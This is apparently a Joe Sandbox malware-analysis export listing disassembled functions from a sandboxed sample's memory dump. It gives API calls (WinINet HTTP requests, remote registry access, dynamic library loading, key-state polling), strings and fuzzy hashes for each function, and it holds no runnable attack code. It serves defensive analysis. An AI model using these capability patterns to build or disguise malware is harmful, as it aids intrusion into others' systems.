Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID: S
API String ID: 1352109105-2858979982
Opcode ID: aa651fe3e5a56a5fbc48da9d41ce427a0b8502ba1a5a6e92a397cd20928c60a1
Instruction ID: 6e7815c46c6c6d3cce7b0e297ab74c26a80270b413c053ec92405af2512b861d
Opcode Fuzzy Hash: aa651fe3e5a56a5fbc48da9d41ce427a0b8502ba1a5a6e92a397cd20928c60a1
Instruction Fuzzy Hash: CD416D30600519DFEF19EF58D884B6A7BF6FF49310F1881AAE915DB2A1D731E841CB92

Function 0087D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0087D7C5

Part of subcall function 0080784B: _memmove.LIBCMT ref: 00807899

Strings

none, xrefs: 0087D8A0
winapi, xrefs: 0087D836
stdcall, xrefs: 0087D847
cdecl, xrefs: 0087D81C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: e8e4ba9c3021eca0dab3bfe5e035ba56a4a34dbe246d5de045db195f92048aef
Instruction ID: cea065570e3a51c900fcbaba5855c220e0ee336bb8d4523ce1cf65255da05483
Opcode Fuzzy Hash: e8e4ba9c3021eca0dab3bfe5e035ba56a4a34dbe246d5de045db195f92048aef
Instruction Fuzzy Hash: 9331AD71904219ABCF00EF58CC919EEB3B4FF05320B008A29E96AD77D6DB31E905CB91

Function 00858E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 0085AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0085AABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00858F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00858F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 00858F57

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

Strings

ListBox, xrefs: 00858ED3
ComboBox, xrefs: 00858E9E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: adaf38c33d47d60b5d48c69aa54b23c0ba7301ce782b05aa4fa55c3c38c83488
Instruction ID: 50f35387cc0054fc3054f6ae384fe1a0fc9bd8c5cfdf904b12f5ea3e565b3bb5
Opcode Fuzzy Hash: adaf38c33d47d60b5d48c69aa54b23c0ba7301ce782b05aa4fa55c3c38c83488
Instruction Fuzzy Hash: C921F571900108BEDB14ABA89C85CFF7B69FF05320B10462AF825E72E1DE39184DDA20

Function 00887B93 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00887C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00887C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00887C5F

Strings

S, xrefs: 00887C15, 00887C34
msctls_updown32, xrefs: 00887BC4

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: S$msctls_updown32
API String ID: 4014797782-968134999
Opcode ID: 1fe21dac0acb9558253bfd3a4bbc9a5082b5076563b6e1b448df0c648af19122
Instruction ID: ba65b98c1cacd69ee6ff5bd5bc16d80dfc949f5b8a951a03a47b17c6f37a0c00
Opcode Fuzzy Hash: 1fe21dac0acb9558253bfd3a4bbc9a5082b5076563b6e1b448df0c648af19122
Instruction Fuzzy Hash: 92216BB5204208AFDB10EF28DCC1DA737BDFB59364B240059FA01DB3A1CA31EC418BA0

Function 0087182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0087184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00871872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 008718A2
InternetCloseHandle.WININET(00000000), ref: 008718E9

Part of subcall function 00872483: GetLastError.KERNEL32(?,?,00871817,00000000,00000000,00000001), ref: 00872498
Part of subcall function 00872483: SetEvent.KERNEL32(?,?,00871817,00000000,00000000,00000001), ref: 008724AD

Strings

, xrefs: 00871893

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: ad8945130f948d0563cdb6d55fd521b16de387d84124efa09ff43716500af8be
Instruction ID: 38483b0d4763e12168aaf396b4d6951dd107ab759738f9a7a029ce298aebbf6b
Opcode Fuzzy Hash: ad8945130f948d0563cdb6d55fd521b16de387d84124efa09ff43716500af8be
Instruction Fuzzy Hash: 4E21B0B1504208BFEB11AF68DC89EBB77EDFB48744F10813AF549D2544DA34CD0597A2

Function 0088C498 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

GetCursorPos.USER32(?), ref: 0088C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0083B9AB,?,?,?,?,?), ref: 0088C4E7
GetCursorPos.USER32(?), ref: 0088C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0083B9AB,?,?,?), ref: 0088C56E

Strings

S, xrefs: 0088C504, 0088C53A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID: S
API String ID: 2864067406-2858979982
Opcode ID: 1a98d91392183b1f619e2abc7b84f0fbadd4f58cdea84412381b7ddc51428895
Instruction ID: bc47077d2176e0b453198cb0fc6076999408383a28a7a18d46b511d8f72f335e
Opcode Fuzzy Hash: 1a98d91392183b1f619e2abc7b84f0fbadd4f58cdea84412381b7ddc51428895
Instruction Fuzzy Hash: 41316D35600458AFCF25DF98CC98EEA7BB9FB49310F444169F905CB2A1C731AD90DBA4

Function 008863E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00801D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00801D73
Part of subcall function 00801D35: GetStockObject.GDI32(00000011), ref: 00801D87
Part of subcall function 00801D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00801D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00886461
LoadLibraryW.KERNEL32(?), ref: 00886468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0088647D
DestroyWindow.USER32(?), ref: 00886485

Strings

SysAnimate32, xrefs: 0088643C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: b4b823ef9cd748b438a4c7849bda855c7848208ad6dd5ebcb4496cfbcf6e4af0
Instruction ID: 3ac708fed6a415713a9cdd1c4fa221cb579711af9785c3bd925d2656f1350863
Opcode Fuzzy Hash: b4b823ef9cd748b438a4c7849bda855c7848208ad6dd5ebcb4496cfbcf6e4af0
Instruction Fuzzy Hash: 2B218E71110205ABEF10AF68DC80EBF37A9FF58328F204629FA10D21A1E7319C619764

Function 00866D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00866DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00866DEF
GetStdHandle.KERNEL32(0000000C), ref: 00866E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00866E3B

Strings

nul, xrefs: 00866E36

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 94dfd29f09b35e894a4dc7cb8bb3c1d869fbcae2435e0fcf76ada9d6ab0ddd04
Instruction ID: 2833fb9d40e23afaaf3b22014785769d09f8283eda87fc764a150b5e94c2a222
Opcode Fuzzy Hash: 94dfd29f09b35e894a4dc7cb8bb3c1d869fbcae2435e0fcf76ada9d6ab0ddd04
Instruction Fuzzy Hash: 6621B674600349ABDB209F29DC05B9A77F8FF44760F214629FDA0D72D0EB719960CB50

Function 00866E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00866E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00866EBB
GetStdHandle.KERNEL32(000000F6), ref: 00866ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00866F06

Strings

nul, xrefs: 00866F01

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: a8835190517781206f27dc23790e76276e49ed938b9cce8297a159cedc4d8c55
Instruction ID: 9418be54c182947257eefb78b6235ca98555805a01c05937af0fa65444fdc8db
Opcode Fuzzy Hash: a8835190517781206f27dc23790e76276e49ed938b9cce8297a159cedc4d8c55
Instruction Fuzzy Hash: FC21A179500345DBDB209F69DC04A9A77A8FF45724F310B19FDA0D72D0EB71A860CB61

Function 0086AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0086AC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0086ACA8
__swprintf.LIBCMT ref: 0086ACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,0088F910), ref: 0086ACFF

Strings

%lu, xrefs: 0086ACBB

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 4a80becf168fb27de8115228f4deba429a0c22a1e7e2e4a9bd4b5c2814effad9
Instruction ID: 777f97665311615b2277d19bc09ab3e7d98ec8f9522bf60b37d9847e28c600fd
Opcode Fuzzy Hash: 4a80becf168fb27de8115228f4deba429a0c22a1e7e2e4a9bd4b5c2814effad9
Instruction Fuzzy Hash: 68214474600109AFCB10DF69DD85DAE7BB8FF49714B004069F909EB352DB35EA51CB62

Function 00861AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00861B19

Strings

APPEND, xrefs: 00861B52
REMOVE, xrefs: 00861B1F
KEYS, xrefs: 00861B30
EXISTS, xrefs: 00861B41

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e7d930075cc437d57a37988295f70a7e7c44515f31da2764db2a60a819e4fd69
Instruction ID: be06de68fd6ee3c266272138b4f3bc89f88a26bea3efec99d45009ac772b24b3
Opcode Fuzzy Hash: e7d930075cc437d57a37988295f70a7e7c44515f31da2764db2a60a819e4fd69
Instruction Fuzzy Hash: E7115E31900119CFCF00EF98D8958EEB7B4FF25304B944465D915E7692EB325D0ACF51

Function 0087EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0087EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0087EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0087ED6A
CloseHandle.KERNEL32(?), ref: 0087EDEB

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 623b66c9d080fdf5b3ac4b78cb749a1d57dc9a881bf0d7f527c985ac869d67df
Instruction ID: 7f31689f197b3696fae6b9b05333e5be8ddc52028db2944542d4986c49e94b76
Opcode Fuzzy Hash: 623b66c9d080fdf5b3ac4b78cb749a1d57dc9a881bf0d7f527c985ac869d67df
Instruction Fuzzy Hash: 38812CB16047109FD760EF28CC86B2AB7E5FF48720F14896DF999DB2D2D670AC408B52

Function 00880037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 00880E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0087FDAD,?,?), ref: 00880E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 008800FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0088013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00880183
RegCloseKey.ADVAPI32(?,?), ref: 008801AF
RegCloseKey.ADVAPI32(00000000), ref: 008801BC

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 6d2bfadfbea7f474ba6a2e61b206e00fd668f46bb07b385e9c7227b7cb80e62a
Instruction ID: 55841ba4d44fc690e49c2db5d24d2ae43504ccd4104365b3027b9d65448c49dc
Opcode Fuzzy Hash: 6d2bfadfbea7f474ba6a2e61b206e00fd668f46bb07b385e9c7227b7cb80e62a
Instruction Fuzzy Hash: E5511771208204AFD754EF58CC85E6AB7E9FF84314F40892DF596C72A2EB31E949CB52

Function 0087D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0087D927
GetProcAddress.KERNEL32(00000000,?), ref: 0087D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 0087D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 0087DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0087DA21

Part of subcall function 00805A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00867896,?,?,00000000), ref: 00805A2C
Part of subcall function 00805A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00867896,?,?,00000000,?,?), ref: 00805A50

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 73b1e3c16569765667bf49c793963a3ff6043c0fb5ba6d2e61ac54c160cfb547
Instruction ID: 6b396c4f9225338fb6ece996144d1284cc5325303d656fd513ef1ae802cc0e93
Opcode Fuzzy Hash: 73b1e3c16569765667bf49c793963a3ff6043c0fb5ba6d2e61ac54c160cfb547
Instruction Fuzzy Hash: 9451F035A00219DFCB40EFA8C8859AABBB4FF09324B14C069E959EB352D731ED45CF91

Function 0086E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0086E61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0086E648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0086E687

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0086E6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0086E6B4

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 2210ec9c99e7f37284dfafb280c7e15cb0f1257dbb8ba61d580f716c1b2e399d
Instruction ID: 4eddc5fba38e0a60436b4acab752b9d1710d3c1c08dea3c6495c44b5ab6bb730
Opcode Fuzzy Hash: 2210ec9c99e7f37284dfafb280c7e15cb0f1257dbb8ba61d580f716c1b2e399d
Instruction Fuzzy Hash: 1D51F879A00105DFCB41EF68C981AAABBF5FF09314B1480A5E949EB3A2CB31ED51DB51

Function 00802344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00802357
ScreenToClient.USER32(008C57B0,?), ref: 00802374
GetAsyncKeyState.USER32(00000001), ref: 00802399
GetAsyncKeyState.USER32(00000002), ref: 008023A7

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 73cc3837790060a4e0710440021cb762d1e5c5d6c0dfbbf792a4aedff1682546
Instruction ID: 73de9ef1542b966db812c3bba64699f751bd61463b829c093523fc1575b75de1
Opcode Fuzzy Hash: 73cc3837790060a4e0710440021cb762d1e5c5d6c0dfbbf792a4aedff1682546
Instruction Fuzzy Hash: E8418E75604119FBCF199F68CC48AE9BB74FB45364F20431AF828E22E1CB74A950DF91

Function 008563AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008563E7
TranslateAcceleratorW.USER32(?,?,?), ref: 00856433
TranslateMessage.USER32(?), ref: 0085645C
DispatchMessageW.USER32(?), ref: 00856466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00856475

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

